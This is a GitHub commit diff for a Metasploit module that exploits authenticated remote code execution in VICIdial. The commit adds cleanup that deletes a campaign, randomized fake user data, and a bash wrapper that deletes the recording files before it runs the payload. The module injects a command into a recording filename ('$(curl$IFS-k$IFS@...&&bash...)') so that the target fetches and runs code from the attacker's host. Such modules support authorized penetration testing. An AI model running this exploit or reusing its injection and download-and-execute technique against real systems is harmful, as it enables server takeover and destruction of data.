Skip to content

Commit f715cc6

Browse files
committed
Randomize values + add function to delete campaign
1 parent ae8df6c commit f715cc6

File tree

1 file changed

+45
-20
lines changed

1 file changed

+45
-20
lines changed

modules/exploits/unix/webapp/vicidial_agent_authenticated_rce.rb

Lines changed: 45 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ def initialize(info = {})
2222
shell commands starting from an unauthenticated perspective.
2323
},
2424
'Author' => [
25-
'Valentin Lobstein', # Metasploit Module
25+
'Valentin Lobstein', # Metasploit Module
2626
'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery
2727
],
2828
'License' => MSF_LICENSE,
@@ -64,7 +64,7 @@ def initialize(info = {})
6464

6565
def check
6666
res = send_request_cgi({
67-
'uri' => normalize_uri(target_uri.path, 'agc', 'vicidial.php'),
67+
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
6868
'method' => 'GET'
6969
})
7070

@@ -124,7 +124,10 @@ def exploit
124124
# Insert a malicious recording that contains the payload, using the agent session
125125
insert_malicious_recording(request_headers, session_name, session_id, recording_extension)
126126

127-
# Wait for the cron job to trigger the malicious payload and establish a connection
127+
# Clean up by deleting the campaign created earlier
128+
delete_dummy_campaign(target_uri, request_headers, fake_campaign_id)
129+
130+
# Start the cron job to execute the malicious payload, but don't block the script
128131
wait_for_cron_job
129132
end
130133

@@ -134,13 +137,21 @@ def primer
134137
end
135138

136139
def on_request_uri_payload(cli, request)
137-
handle_request(cli, request, payload.encoded)
140+
bash_command = <<-BASH
141+
#!/bin/bash
142+
cd /var/spool/asterisk/monitor/
143+
find . -maxdepth 1 -type f -delete
144+
#{payload.encoded}
145+
BASH
146+
147+
handle_request(cli, request, bash_command)
138148
end
139149

140150
def handle_request(cli, request, response_payload)
141-
print_status("Received request at: #{request.uri}, Client Address: #{cli.peerhost}")
151+
print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")
142152

143-
if request.uri == '/'
153+
case request.uri
154+
when '/'
144155
print_status("Sending response to #{cli.peerhost} for /")
145156
send_response(cli, response_payload)
146157
else
@@ -149,6 +160,19 @@ def handle_request(cli, request, response_payload)
149160
end
150161
end
151162

163+
def delete_dummy_campaign(target_uri, request_headers, campaign_id)
164+
print_status("Deleting dummy campaign with ID: #{campaign_id}")
165+
166+
res = send_request_cgi({
167+
'uri' => normalize_uri(target_uri, 'vicidial', 'admin.php'),
168+
'method' => 'GET',
169+
'vars_get' => { 'ADD' => '61', 'campaign_id' => campaign_id, 'CoNfIrM' => 'YES' },
170+
'headers' => request_headers
171+
})
172+
173+
res&.code == 200 ? print_good("Campaign #{campaign_id} deleted successfully.") : print_error("Failed to delete campaign #{campaign_id}.")
174+
end
175+
152176
def authenticate_admin
153177
username = datastore['USERNAME']
154178
password = datastore['PASSWORD']
@@ -169,19 +193,19 @@ def authenticate_admin
169193
'keep_cookies' => true
170194
)
171195

172-
unless res&.code == 200
173-
fail_with(Failure::UnexpectedReply, 'Failed to authenticate with credentials. Maybe hashing is enabled?')
174-
end
196+
fail_with(Failure::UnexpectedReply, 'Failed to authenticate with credentials. Maybe hashing is enabled?') unless res&.code == 200
175197

176198
print_good("Authenticated successfully as user '#{username}'")
177199
[target_uri, request_headers]
178200
end
179201

180202
def update_user_settings(target_uri, request_headers)
203+
faker = Faker::Internet
204+
181205
user_settings_body = {
182206
'ADD' => '4A', 'custom_fields_modify' => '0', 'user' => datastore['USERNAME'], 'DB' => '0',
183-
'pass' => datastore['PASSWORD'], 'force_change_password' => 'N', 'full_name' => 'KoreLogic',
184-
'user_level' => '9', 'user_group' => 'ADMIN', 'phone_login' => 'KoreLogic', 'phone_pass' => 'KoreLogic',
207+
'pass' => datastore['PASSWORD'], 'force_change_password' => 'N', 'full_name' => Faker::Name.name,
208+
'user_level' => '9', 'user_group' => 'ADMIN', 'phone_login' => faker.username, 'phone_pass' => faker.password,
185209
'active' => 'Y', 'user_new_lead_limit' => '-1', 'agent_choose_ingroups' => '1',
186210
'agent_choose_blended' => '1', 'hotkeys_active' => '0', 'scheduled_callbacks' => '1',
187211
'agentonly_callbacks' => '0', 'next_dial_my_callbacks' => 'NOT_ACTIVE', 'agentcall_manual' => '0',
@@ -286,7 +310,7 @@ def create_dummy_campaign(target_uri, request_headers)
286310
'allow_closers' => 'Y',
287311
'hopper_level' => '1',
288312
'next_agent_call' => 'random',
289-
'local_call_time' => '12am-11pm',
313+
'local_call_time' => '12am-12am',
290314
'get_call_launch' => 'NONE',
291315
'SUBMIT' => 'SUBMIT'
292316
}
@@ -378,7 +402,7 @@ def fetch_phone_credentials(target_uri, request_headers)
378402
phone_password = res.get_html_document.at_css('input[name="pass"]')&.get_attribute('value')
379403
recording_extension = res.get_html_document.at_css('input[name="recording_exten"]')&.get_attribute('value')
380404

381-
if phone_extension && phone_password && recording_extension
405+
if [phone_extension, phone_password, recording_extension].all?
382406
print_good("Found phone credentials: Extension=#{phone_extension}, Password=#{phone_password}, Recording Extension=#{recording_extension}")
383407
else
384408
fail_with(Failure::NotFound, 'Failed to retrieve one or more phone credentials from the page')
@@ -407,13 +431,15 @@ def agent_portal_authentication(request_headers, phone_extension, phone_password
407431
mgr_login_name = doc.at_css('input[name^="MGR_login"]')&.get_attribute('name')
408432
mgr_pass_name = doc.at_css('input[name^="MGR_pass"]')&.get_attribute('name')
409433

410-
if mgr_login_name.nil? || mgr_pass_name.nil?
411-
today_date = Time.now.strftime('%Y%m%d')
412-
mgr_login_name = "MGR_login#{today_date}"
413-
mgr_pass_name = "MGR_pass#{today_date}"
414-
print_status("Constructed dynamic field names manually: #{mgr_login_name}, #{mgr_pass_name}")
415-
else
434+
if mgr_login_name && mgr_pass_name
416435
print_good("Retrieved dynamic field names: #{mgr_login_name}, #{mgr_pass_name}")
436+
else
437+
begin
438+
today_date = Time.now.strftime('%Y%m%d')
439+
mgr_login_name = "MGR_login#{today_date}"
440+
mgr_pass_name = "MGR_pass#{today_date}"
441+
print_status("Constructed dynamic field names manually: #{mgr_login_name}, #{mgr_pass_name}")
442+
end
417443
end
418444

419445
manager_login_body = {
@@ -479,7 +505,6 @@ def insert_malicious_recording(request_headers, session_name, session_id, record
479505
uri = get_uri.gsub(%r{^https?://}, '').chomp('/')
480506
random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
481507
malicious_filename = "$(curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename})"
482-
483508
print_status("Generated malicious command: #{malicious_filename}")
484509

485510
record1_body = {

0 commit comments

Comments
 (0)